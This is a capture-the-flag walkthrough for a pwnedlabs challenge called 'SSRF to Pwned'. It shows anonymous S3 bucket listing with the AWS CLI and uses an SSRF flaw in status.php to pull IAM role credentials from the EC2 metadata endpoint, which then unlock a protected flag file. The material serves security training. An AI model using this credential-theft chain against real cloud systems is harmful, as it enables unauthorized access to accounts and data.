Description
This challenge from pwnedlab is easy and beginner friendly called SSRF to Pwned.
The starting point is a single url : http://app.huge-logistics.com

Think of S3 bucket like a folder in the cloud. We can use it to store any kind of file or data, from documents to images. It can also use to store static file for our websites. Sometimes developers are store sensitive files in s3 bucket. So it’s worth to enumerate s3 bucket during cloud pentest beacuse S3 buckets are often misconfigured.
Enumeration
When we checked the website’s source code, we can see that the webpage stores its image files in an S3 bucket.

The huge-logistics-storage is the name of the bucket. When we look at the S3 bucket, we can see a couple of authentication configurations. AuthenticatedUsers and Unauthenticated(anonymous). For AuthenticatedUsers, access can be granted for specific IAM users/roles or to all AWS accounts.
AuthenticatedUsers Access
-
For specific IAM access which mean permissions that are granted only to particular IAM users/roles
-
For any valid AWS users If a bucket policy or ACL grants permissions to this group, it means any AWS account with valid credentials can access.
Unauthenticated (Anonymous) Access
- Anyone on the internet can list or get the objects.
AWS CLI
We can check the by command line below
# admin_cloud6 is just my own aws accountaws s3 ls s3://huge-logistics-storage --profile admin_cloud6
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:iam::427648302155:user/it-admin is not authorized to perform: s3:ListBucket on resource: "arn:aws:s3:::huge-logistics-storage" because no identity-based policy allows the s3:ListBucket actionFor the unauthenticated request, we can use --no-sign-request argument.
aws s3 ls s3://huge-logistics-storage --recursive --no-sign-request2023-06-01 05:14:05 0 backup/2023-06-01 05:14:47 3717 backup/cc-export2.txt2023-06-01 21:38:27 32 backup/flag.txt2023-06-01 03:40:47 0 web/2023-06-01 03:42:33 114886 web/images/about.jpg2023-06-01 03:42:34 271657 web/images/banner.jpg2023-06-01 03:42:35 48441 web/images/blog1.jpg2023-06-01 03:42:36 32805 web/images/blog2.jpg2023-06-01 03:42:36 44570 web/images/blog3.jpg2023-06-01 03:42:37 20032 web/images/executive.jpg2023-06-01 03:42:37 13368 web/images/manager.jpg2023-06-01 03:42:38 18260 web/images/manager1.jpg2023-06-01 03:42:38 42216 web/images/signature.jpgThere is flag.txt file in backup folder. We can download it cp command as follow:
aws s3 cp s3://huge-logistics-storage/backup/flag.txt . --no-sign-requestfatal error: An error occurred (403) when calling the HeadObject operation: ForbiddenIt give an error because we don’t have enough access to download it. If we go back to the webpage, there is an endpoint called status.php as follow:
Which check the status of the website.

Getting AWS Secret
We can check this SSRF via burp collaborator or localhost 127.0.0.1.

Or we can check metadata of ec2 instance on this endpoint : 169.254.169.254/latest/meta-data/

To grab the aws id and secret key, we need to check first is there any IAM role configured or not from this endpoint 169.254.169.254/latest/meta-data/iam/info

Now we can make a request to fetch MetapwnedS3Access’s secret with this url: 169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access

By using this aws secret, we can configure aws credential to interact with awscli as shown below

And then we can validate with this command. This is similar to whoami command in linux.
aws sts get-caller-identity --profile metapwned{ "UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1", "Account": "104506445608", "Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"}TIPIf you don’t want to add
--profileargument every time you run a command, you can set it as a defult profile like this
export AWS_PROFILE=metapwnedaws sts get-caller-identity{ "UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1", "Account": "104506445608", "Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"}Compromised S3 Bucket Access
Now that we have IAM role access, let’s try downloading the flag.txt file again using this profile.
aws s3 cp s3://huge-logistics-storage/backup/flag.txt .download: s3://huge-logistics-storage/backup/flag.txt to ./flag.txt
cat flag.txt282f08a114b4b4f2d345100dXXXXXXXXThis time we were able to download successfully the flag file from the compromised S3 bucket.